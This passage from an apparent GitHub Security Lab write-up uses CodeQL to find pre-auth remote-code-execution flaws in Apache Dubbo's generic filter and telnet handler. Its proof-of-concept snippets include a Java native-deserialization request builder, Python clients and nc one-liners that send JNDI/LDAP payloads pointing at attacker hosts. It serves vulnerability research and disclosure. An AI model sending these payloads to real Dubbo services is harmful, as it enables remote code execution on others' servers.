id=\"2-heartbeat-request-decodeheartbeatdata-decodeeventdata-in-readevent-in-readobject\" id=\"2-heartbeat-request-decodeheartbeatdata-decodeeventdata-in-readevent-in-readobject\" ><a class=\"heading-link\" href=\"#2-heartbeat-request-decodeheartbeatdata-decodeeventdata-in-readevent-in-readobject\">2. HeartBeat Request-&gt; <code>decodeHeartbeatData<\/code> -&gt; <code>decodeEventData<\/code> -&gt; <code>in.readEvent<\/code> -&gt; <code>in.readObject<\/code><span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h4>\n<h4 id=\"3-event-request-decodeeventdata-in-readevent-in-readobject\" id=\"3-event-request-decodeeventdata-in-readevent-in-readobject\" ><a class=\"heading-link\" href=\"#3-event-request-decodeeventdata-in-readevent-in-readobject\">3. Event Request-&gt; <code>decodeEventData<\/code> -&gt; <code>in.readEvent<\/code> -&gt; <code>in.readObject<\/code><span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h4>\n<h4 id=\"4-ok-response-decodeablerpcresult-decode-handlevalue-readobject\" id=\"4-ok-response-decodeablerpcresult-decode-handlevalue-readobject\" ><a class=\"heading-link\" href=\"#4-ok-response-decodeablerpcresult-decode-handlevalue-readobject\">4. OK Response-&gt; <code>DecodeableRpcResult.decode()<\/code> -&gt; <code>handleValue<\/code> -&gt; <code>readObject<\/code><span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h4>\n<h4 id=\"5-ok-response-decodeablerpcresult-decode-handleexception-leads-tbo-readthrowable-which-leads-to-readobject\" id=\"5-ok-response-decodeablerpcresult-decode-handleexception-leads-tbo-readthrowable-which-leads-to-readobject\" ><a class=\"heading-link\" href=\"#5-ok-response-decodeablerpcresult-decode-handleexception-leads-tbo-readthrowable-which-leads-to-readobject\">5. OK Response-&gt; <code>DecodeableRpcResult.decode()<\/code> -&gt; <code>handleException<\/code> leads tBo <code>readThrowable<\/code> which leads to <code>readObject<\/code><span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h4>\n<h4 id=\"6-ok-response-decodeablerpcresult-decode-handleattachment-leads-to-readattachments-which-leads-to-readobject\" id=\"6-ok-response-decodeablerpcresult-decode-handleattachment-leads-to-readattachments-which-leads-to-readobject\" ><a class=\"heading-link\" href=\"#6-ok-response-decodeablerpcresult-decode-handleattachment-leads-to-readattachments-which-leads-to-readobject\">6. OK Response-&gt; <code>DecodeableRpcResult.decode()<\/code> -&gt; <code>handleAttachment<\/code> leads to <code>readAttachments<\/code> which leads to `readObject<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h4>\n<h4 id=\"7-ok-heartbeat-response-decodeheartbeatdata-decodeeventdata-in-readevent-in-readobject\" id=\"7-ok-heartbeat-response-decodeheartbeatdata-decodeeventdata-in-readevent-in-readobject\" ><a class=\"heading-link\" href=\"#7-ok-heartbeat-response-decodeheartbeatdata-decodeeventdata-in-readevent-in-readobject\">7. OK HeartBeat Response-&gt; <code>decodeHeartbeatData<\/code> -&gt; <code>decodeEventData<\/code> -&gt; <code>in.readEvent<\/code> -&gt; <code>in.readObject<\/code><span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h4>\n<h4 id=\"8-ok-event-response-decodeeventdata-in-readevent-in-readobject\" id=\"8-ok-event-response-decodeeventdata-in-readevent-in-readobject\" ><a class=\"heading-link\" href=\"#8-ok-event-response-decodeeventdata-in-readevent-in-readobject\">8. OK Event Response-&gt; <code>decodeEventData<\/code> -&gt; <code>in.readEvent<\/code> -&gt; <code>in.readObject<\/code><span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h4>\n<h4 id=\"9-nok-response-in-readutf-in-hessian-readutf-can-lead-to-readobject\" id=\"9-nok-response-in-readutf-in-hessian-readutf-can-lead-to-readobject\" ><a class=\"heading-link\" href=\"#9-nok-response-in-readutf-in-hessian-readutf-can-lead-to-readobject\">9. NOK Response-&gt; <code>in.readUTF<\/code> (in Hessian, <code>readUTF<\/code> can lead to <code>readObject<\/code>)<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h4>\n<h2 id=\"pre-auth-rce-via-java-native-deserialization-in-the-generic-filter-ghsl-2021-037\" id=\"pre-auth-rce-via-java-native-deserialization-in-the-generic-filter-ghsl-2021-037\" ><a class=\"heading-link\" href=\"#pre-auth-rce-via-java-native-deserialization-in-the-generic-filter-ghsl-2021-037\">Pre-auth RCE via Java native deserialization in the Generic filter (GHSL-2021-037)<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>As an additional check, I also want to ask the oracle for all the places where the <code>ObjectInput<\/code> abstraction is used to deserialize data, regardless whether it is coming from <code>decodeBody()<\/code>, as you saw in the previous example, or somewhere else. For that purpose, I&rsquo;ll use the following query:<\/p>\n<pre><code class=\"language-ql\">import java\n\nclass ObjectInputClass extends RefType {\n  ObjectInputClass() {\n    this.getASourceSupertype*().hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"ObjectInput\")\n  }\n}\n\nclass ReadObjectCall extends Call {\n  ReadObjectCall() {\n    exists(Method m |\n      this.getCallee() = m and\n        m.getName().matches(\"read%\") and\n        m.getDeclaringType() instanceof ObjectInputClass\n    )\n  }\n}\n\nfrom ReadObjectCall call\nwhere\n  not call.getEnclosingCallable().getDeclaringType() instanceof ObjectInputClass and\n  not call.getLocation().getFile().getRelativePath().matches(\"%\/src\/test\/%\")\nselect\n  call,\n  call.getEnclosingCallable(),\n  call.getEnclosingCallable().getDeclaringType()\n<\/code><\/pre>\n<p>The above query looks for calls to <code>read.*<\/code> methods on an object implementing the <code>ObjectInput<\/code> interfaces, which are not located in test files or in the <code>ObjectInput<\/code> class itself. It returns 14 results.<\/p>\n<p>Most of these calls are performed on an <code>ObjectInput<\/code> object that is returned by the <code>Serialization.deserialize()<\/code> method. However, the instance of <code>Serialization<\/code> is normally returned by the <code>CodecSupport.getSerialization()<\/code> method:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image28.png?w=1024&#038;resize=1024%2C315\" alt=\"getSerialization method\" width=\"1024\" height=\"315\" class=\"aligncenter size-large wp-image-81290 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image28.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image28.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image28.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image28.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image28.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>This is a very important piece of code. The Dubbo protocol allows callers to specify the serialization protocol, which from an attacker perspective is very convenient. An attacker can specify the Java native serialization type and make the opt-in Hessian type filter useless! However, before blindly switching to whatever serialization type is specified by the user, Dubbo will check against the one expected by the server and will throw an exception if the client tries to use the native Java deserializers. As we saw in <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2021-25641\">CVE-2021-25641<\/a>, an attacker is still able to force the use of other unsafe deserializers, but in the latest Dubbo versions these serializers are not available in the classpath by default. This is still an insecure pattern since those dependencies (for example, Kryo) could be included in the classpath transitively by a third-party dependency, in which case the Dubbo provider would be vulnerable. Considering that a) Hessian has an opt-in type filter, b) Java native deserialization cannot be arbitrarily specified by a client and c) other unsafe deserialization types are not available in the classpath, we can consider that a deserialization operation using the <code>Serialization<\/code> instance returned by <code>CodecSupport.getSerialization()<\/code> will be &ldquo;<em>secure<\/em>&rdquo; or at least there will be ways to make it secure. Using that knowledge, I can refine my query<\/p>\n<pre><code class=\"language-ql\">import java\nimport semmle.code.java.dataflow.DataFlow\n\nclass GetSerializationCall extends MethodAccess {\n  GetSerializationCall() {\n    this.getMethod().getName() = \"getSerialization\" and\n    this.getMethod().getDeclaringType().getASourceSupertype*().hasQualifiedName(\"org.apache.dubbo.remoting.transport\", \"CodecSupport\")\n  }\n}\n\nclass DeserializeCall extends MethodAccess {\n  DeserializeCall() {\n    this.getMethod().getName() = \"deserialize\" and\n    this.getMethod().getDeclaringType().getASourceSupertype*().hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"Serialization\")\n  }\n}\n\nclass ReadObjectCall extends MethodAccess {\n  ReadObjectCall() {\n    this.getMethod().getName().matches(\"read%\") and\n    this.getMethod().getDeclaringType().getASourceSupertype*().hasQualifiedName(\"org.apache.dubbo.common.serialize\", \"ObjectInput\")\n  }\n}\n\npredicate safeDeser(GetSerializationCall s, DeserializeCall t) {\n  DataFlow::localFlow(\n    DataFlow::exprNode(s),\n    DataFlow::exprNode(t.getQualifier())\n  )\n}\n\npredicate unsafeDeser(DeserializeCall s, ReadObjectCall t) {\n  DataFlow::localFlow(\n    DataFlow::exprNode(s),\n    DataFlow::exprNode(t.getQualifier())\n  )\n}\n\nfrom DeserializeCall s, ReadObjectCall t\nwhere \n  unsafeDeser(s, t) and\n  not exists(GetSerializationCall g | safeDeser(g, s)) and\n  not t.getLocation().getFile().getAbsolutePath().matches(\"%\/src\/test\/%\")\nselect s.getEnclosingCallable().getDeclaringType(), t, s\n<\/code><\/pre>\n<p>to discard results flowing through <code>CodecSupport.getSerialization()<\/code>:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image10-2.png?w=1024&#038;resize=1024%2C262\" alt=\"brand new variants\" width=\"1024\" height=\"262\" class=\"aligncenter size-large wp-image-81291 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image10-2.png?w=1694 1694w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image10-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image10-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image10-2.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image10-2.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>This time, the query returns results in only two classes: <code>GenericFilter<\/code> and <code>RedisProtocol<\/code><\/p>\n<p>The <code>RedisProtocol<\/code> doesn&rsquo;t seem to be supported and trying to use it to export a service will throw an exception:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image23.png?w=1024&#038;resize=1024%2C122\" alt=\"RedisProtocol\" width=\"1024\" height=\"122\" class=\"aligncenter size-large wp-image-81292 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image23.png?w=1680 1680w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image23.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image23.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image23.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image23.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>However, reviewing this class made me aware of the <code>RMIProtocol<\/code> and <code>HessianProtocol<\/code> which in turn led to the <a href=\"https:\/\/securitylab.github.com\/advisories\/GHSL-2021-094-096-apache-dubbo\/\">GHSL-2021-095 and GHSL-2021-096 findings<\/a>.<\/p>\n<p><code>GenericFilter<\/code> is a default-installed <a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/dev\/impls\/filter\/\">filter extension<\/a>, similar to Servlet filters but operating on the RPC invocations before they are finally dispatched to the right provider service. This particular filter handles <a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/user\/examples\/generic-reference\/\">generic invocations<\/a>, which are mainly used when the client does not have an API interface or model class. These invocations use the generic <code>$invoke<\/code> and <code>$invokeAsync<\/code> method names and will use the Java Reflection API to call the user-specified service. In addition, the caller also needs to set an RPC attachment specifying how the arguments should be decoded. The possible values are:<\/p>\n<ul>\n<li>true<\/li>\n<li>raw.return<\/li>\n<li>nativejava<\/li>\n<li>bean<\/li>\n<li>protobuf-json<\/li>\n<\/ul>\n<p>An attacker is in control of this RPC attachment and setting it to <code>nativejava<\/code> will force the native Java deserialization of the byte array located in the third argument:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image29.png?w=1024&#038;resize=1024%2C554\" alt=\"GenericFilter native java deserialization\" width=\"1024\" height=\"554\" class=\"aligncenter size-large wp-image-81293 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image29.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image29.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image29.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image29.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image29.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>For example, the following code will prepare an RPC request which will trigger the Java deserialization sink:<\/p>\n<pre><code class=\"language-java\">\/\/ 1.dubboVersion\nout.writeString(\"2.7.8\");\n\/\/ 2.path\nout.writeString(\"org.apache.dubbo.samples.basic.api.DemoService\");\n\/\/ 3.version\nout.writeString(\"\");\n\/\/ 4.methodName\nout.writeString(\"$invoke\");\n\/\/ 5.methodDesc\nout.writeString(\"Ljava\/lang\/String;[Ljava\/lang\/String;[Ljava\/lang\/Object;\");\n\/\/ 6.paramsObject\nout.writeString(\"sayHello\");\nout.writeObject(new String[] {\"java.lang.String\"});\nByteArrayOutputStream baos = new ByteArrayOutputStream();\nObjectOutputStream oos = new ObjectOutputStream(baos);\noos.writeObject(&lt;DESERIALIZATION PAYLOAD BYTE[]&gt;);\nout.writeObject(new Object[] {baos.toByteArray()});\n\/\/ 7.map\nHashMap map = new HashMap();\nmap.put(\"generic\", \"nativejava\");\nout.writeObject(map);\n<\/code><\/pre>\n<p>Note that to successfully exploit this issue, an attacker needs to know a service and method name to reach the <code>GenericFilter<\/code> code (for example, <code>org.apache.dubbo.samples.basic.api.DemoService<\/code> and <code>sayHello<\/code> in the above proof of concept), which could be a problem. Remember how when analyzing the attack surface, I found out that I could reach a <code>TelnetCodec<\/code>? Well, it turns out this is well <a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/user\/references\/telnet\/\">documented<\/a> and that it allows an attacker to trivially figure out a valid service\/method name pair by connecting to the Dubbo protocol port and issuing an unauthenticated <code>ls<\/code> command. This info can then be used to craft the final deserialization attack:<\/p>\n<pre><code class=\"language-bash\">$ telnet localhost 20880\nTrying ::1...\nConnected to localhost.\nEscape character is '^]'.\n\ndubbo&gt; ls\n\nPROVIDER:\norg.apache.dubbo.samples.basic.api.DemoService\n\ndubbo&gt; cd org.apache.dubbo.samples.basic.api.DemoService\n\nUsed the org.apache.dubbo.samples.basic.api.DemoService as default.\nYou can cancel default service by command: cd \/\n\ndubbo&gt; ls\n\nUse default service org.apache.dubbo.samples.basic.api.DemoService.\norg.apache.dubbo.samples.basic.api.DemoService (as provider):\n    sayHello\n<\/code><\/pre>\n<h2 id=\"pre-auth-rce-via-arbitrary-bean-manipulation-in-the-generic-filter-ghsl-2021-038\" id=\"pre-auth-rce-via-arbitrary-bean-manipulation-in-the-generic-filter-ghsl-2021-038\" ><a class=\"heading-link\" href=\"#pre-auth-rce-via-arbitrary-bean-manipulation-in-the-generic-filter-ghsl-2021-038\">Pre-auth RCE via arbitrary bean manipulation in the Generic filter (GHSL-2021-038)<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>If you were following along carefully, you will have noticed that there were other allowed types for encoding the generic service invocation arguments:<\/p>\n<ul>\n<li><code>true<\/code><\/li>\n<li><code>raw.return<\/code><\/li>\n<li><code>bean<\/code><\/li>\n<li><code>protobuf-json<\/code><\/li>\n<\/ul>\n<p><code>protobuf-json<\/code> uses Google protobufs, which are normally considered secure since they do not allow attackers to instantiate arbitrary types. However, the <code>true<\/code>, <code>raw.return<\/code> and <code>bean<\/code> could be of interest for an attacker and could allow them to run arbitrary methods.<\/p>\n<p>For the case where <code>generic<\/code> attachment is either <code>true<\/code> or <code>raw.return<\/code>, the <code>PojoUtils.realize()<\/code> method will be invoked:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image30.png?w=1024&#038;resize=1024%2C144\" alt=\"PojoUtils realize call\" width=\"1024\" height=\"144\" class=\"aligncenter size-large wp-image-81294 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image30.png?w=1698 1698w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image30.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image30.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image30.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image30.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>This method accepts an argument where the attacker can provide a <code>HashMap<\/code> containing a special <code>\"class\"<\/code> key to specify the class to be instantiated:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image22.png?w=1024&#038;resize=1024%2C256\" alt=\"'class' attribute\" width=\"1024\" height=\"256\" class=\"aligncenter size-large wp-image-81295 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image22.png?w=1622 1622w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image22.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image22.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image22.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image22.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>The rest of the map entries will be used to populate the instantiated type either by invoking a setter, if available, or by using reflection:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image21.png?w=1024&#038;resize=1024%2C619\" alt=\"newInstance call\" width=\"1024\" height=\"619\" class=\"aligncenter size-large wp-image-81296 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image21.png?w=1999 1999w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image21.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image21.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image21.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image21.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>Therefore, given the existence of an RCE setter gadget in the provider&rsquo;s classpath, an attacker will be able to execute arbitrary code.<\/p>\n<p>For example, using the following python client, you can instantiate an <code>org.apache.xbean.propertyeditor.JndiConverter<\/code> bean (if the gadget is available in the classpath) and call its <code>setAsText<\/code> method, which will in turn result in the invocation of a JNDI lookup call that can be used to run arbitrary Java code:<\/p>\n<pre><code class=\"language-python\">  client.send_request_and_return_response(\n      service_name=\"org.apache.dubbo.samples.basic.api.DemoService\",\n      method_name='$invoke',\n      param_types=\"Ljava\/lang\/String;[Ljava\/lang\/String;[Ljava\/lang\/Object;\",\n      service_version=\"\",\n      args=[\"sayHello\", [\"java.lang.String\"], [{\"class\": \"org.apache.xbean.propertyeditor.JndiConverter\", \"asText\": \"ldap:\/\/&lt;attacker_server&gt;\/foo\"}]],\n      attachment={\"generic\":\"raw.return\"})\n<\/code><\/pre>\n<p>In a similar way, you can set the <code>generic<\/code> attachment to <code>bean<\/code> to reach the following code:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image31.png?w=1024&#038;resize=1024%2C381\" alt=\"bean deserizalization\" width=\"1024\" height=\"381\" class=\"aligncenter size-large wp-image-81297 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image31.png?w=1708 1708w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image31.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image31.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image31.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image31.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>In this case, <code>JavaBeanSerializeUtil.deserialize()<\/code> will also allow us to invoke default constructors of arbitrary classes and then call setters or set field values for the constructed objects.<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image20.png?w=1024&#038;resize=1024%2C235\" alt=\"deserialize method\" width=\"1024\" height=\"235\" class=\"aligncenter size-large wp-image-81298 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image20.png?w=1668 1668w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image20.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image20.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image20.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image20.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image12-2.png?w=1024&#038;resize=1024%2C540\" alt=\"getSetter call\" width=\"1024\" height=\"540\" class=\"aligncenter size-large wp-image-81299 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image12-2.png?w=1616 1616w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image12-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image12-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image12-2.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image12-2.png?w=1536 1536w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image12-2.png?w=400 400w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>For example, using the Python client, you can send the following request, which will result in an arbitrary JNDI lookup call leading to RCE:<\/p>\n<pre><code class=\"language-python\">  beanDescriptor=new_object(\n        'org.apache.dubbo.common.beanutil.JavaBeanDescriptor',\n        className=\"org.apache.xbean.propertyeditor.JndiConverter\",\n        type=7,\n        properties={\"asText\": \"ldap:\/\/&lt;attacker_server&gt;\/foo\"}\n        )\n  return client.send_request_and_return_response(\n      service_name=\"org.apache.dubbo.samples.basic.api.DemoService\",\n      method_name='$invoke',\n      param_types=\"Ljava\/lang\/String;[Ljava\/lang\/String;[Ljava\/lang\/Object;\",\n      service_version=\"\",\n      args=[\"sayHello\", [\"java.lang.String\"], [beanDescriptor]],\n      attachment={\"generic\":\"bean\"})\n<\/code><\/pre>\n<p>These custom deserializers also support serialization of Maps. For those cases, a new HashMap is created and the user-controlled items are put on it. This allows an attacker to also utilize gadgets not initiated by a setter call but by a <code>hashcode()<\/code> call (invoked to check that elements pushed into a HashMap are not equal), which extends the gadget surface and enables gadget chains contained only on the Dubbo default classpath.<\/p>\n<h2 id=\"pre-auth-rce-via-arbitrary-bean-manipulation-in-the-telnet-handler-ghsl-2021-039\" id=\"pre-auth-rce-via-arbitrary-bean-manipulation-in-the-telnet-handler-ghsl-2021-039\" ><a class=\"heading-link\" href=\"#pre-auth-rce-via-arbitrary-bean-manipulation-in-the-telnet-handler-ghsl-2021-039\">Pre-auth RCE via arbitrary bean manipulation in the Telnet handler (GHSL-2021-039)<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>Both <code>PojoUtils<\/code> and <code>JavaBeanSerializeUtil<\/code> are custom Dubbo deserializers, so the immediate question is, are they used somewhere else?<\/p>\n<pre><code class=\"language-ql\">import java\n\nfrom MethodAccess ma\nwhere\n  (\n    (\n      ma.getMethod().getName() = \"realize\" and\n      ma.getMethod().getDeclaringType().getName() = \"PojoUtils\" and\n      not ma.getEnclosingCallable().getDeclaringType().getName() = \"PojoUtils\"\n    ) or (\n      ma.getMethod().getName() = \"deserialize\" and\n      ma.getMethod().getDeclaringType().getName() =  \"JavaBeanSerializeUtil\" and\n      not ma.getEnclosingCallable().getDeclaringType().getName() = \"JavaBeanSerializeUtil\"\n    )\n  ) and\n  not ma.getLocation().getFile().getRelativePath().matches(\"%\/src\/test\/%\")\nselect ma, ma.getEnclosingCallable().getDeclaringType()\n<\/code><\/pre>\n<p>CodeQL can help answer this question:<\/p>\n<p><img data-recalc-dims=\"1\" decoding=\"async\" loading=\"lazy\" src=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image7-2.png?w=1024&#038;resize=1024%2C595\" alt=\"realize calls\" width=\"1024\" height=\"595\" class=\"aligncenter size-large wp-image-81300 width-fit\" srcset=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image7-2.png?w=1696 1696w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image7-2.png?w=300 300w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image7-2.png?w=768 768w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image7-2.png?w=1024 1024w, https:\/\/github.blog\/wp-content\/uploads\/2024\/11\/image7-2.png?w=1536 1536w\" sizes=\"auto, (max-width: 1000px) 100vw, 1000px\" \/><\/p>\n<p>You&rsquo;ve already seen their uses on <code>GenericFilter<\/code>, <code>CompatibleFilter<\/code> and <code>GenericImplFilter<\/code> with provider responses that should not be under attacker control. <code>MockInvoker<\/code> is used for tests, but there is a remaining result that looks interesting: <code>InvokeTelnetHandler<\/code>.<\/p>\n<p>Turns out that you can also use the Telnet protocol to <a href=\"https:\/\/dubbo.apache.org\/en\/docs\/v2.7\/user\/references\/telnet\/#invoke\">perform RPC invocations<\/a>, and the documentation clearly states that:<\/p>\n<blockquote><p>\n  When there is parameter overload, or the type conversion fails, you can specify the class to be converted by adding the class attribute\n<\/p><\/blockquote>\n<p>Therefore, an attacker with access to the Telnet port (the same one as the Dubbo protocol port) can query the available services and invoke any of them. In this process, an attacker will be able to instantiate arbitrary classes and invoke arbitrary setters and <code>hashcode()<\/code> on them.<\/p>\n<p>This finding is quite interesting since when searching for information about the telnet port I found a <a href=\"https:\/\/vlambda.com\/wz_7iiUTPvW6hw.html\">write up for CVE-2020-1948<\/a> that explains a vulnerability in the <code>DecodeableRpcInvocation<\/code> class but then talks about the Dubbo Telnet protocol and how it uses FastJSON to parse the method invocation JSON data. Since FastJSON allows the use of type discriminators (<code>@type<\/code>), a similar vulnerability affected older versions of Dubbo. For example:<\/p>\n<pre><code class=\"language-bash\">echo \"invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello(({ \"111\": { \"@type\": \"java.lang.Class\", \"val\": \"com.sun.rowset.JdbcRowSetImpl\" }, \"222\": { \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap:\/\/192.168.85.1:8089\/test_by_cqq\", \"autoCommit\": true }) | nc -i 1 dubbo_server 20880\n<\/code><\/pre>\n<p>The vulnerability (with no CVE that I know of) was addressed by enabling the FastJSON block list, but passing a map as an argument, the deserialized map is later processed by <code>PojoUtils.realize<\/code> which enables the same attack. eg:<\/p>\n<pre><code class=\"language-bash\">echo \"invoke org.apache.dubbo.samples.basic.api.DemoService.sayHello({'class':'org.apache.xbean.propertyeditor.JndiConverter','asText': 'ldap:\/\/attacker\/foo'})\" | nc -i 1 dubbo_server 20880\n<\/code><\/pre>\n<h2 id=\"rces-via-unsafe-yaml-unmarshalling-ghsl-2021-040-ghsl-2021-041-and-ghsl-2021-043\" id=\"rces-via-unsafe-yaml-unmarshalling-ghsl-2021-040-ghsl-2021-041-and-ghsl-2021-043\" ><a class=\"heading-link\" href=\"#rces-via-unsafe-yaml-unmarshalling-ghsl-2021-040-ghsl-2021-041-and-ghsl-2021-043\">RCEs via unsafe YAML unmarshalling (GHSL-2021-040, GHSL-2021-041 and GHSL-2021-043)<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>Another good practice when reviewing code is to look for hazardous APIs used throughout the application, regardless of having solid evidence that they can be exercised with untrusted data. This analysis will show us &ldquo;hot&rdquo; classes in the application that should be reviewed carefully. For this purpose I like to use the CodeQL sink collection. You can think of it as using just the <code>isSink<\/code> predicates of the CodeQL TaintTracking configurations. This is something that should be done for most of the vulnerability categories. The result should be a map of what classes do file IO operations, which ones write data to HTTP responses, which ones perform deserialization operations, 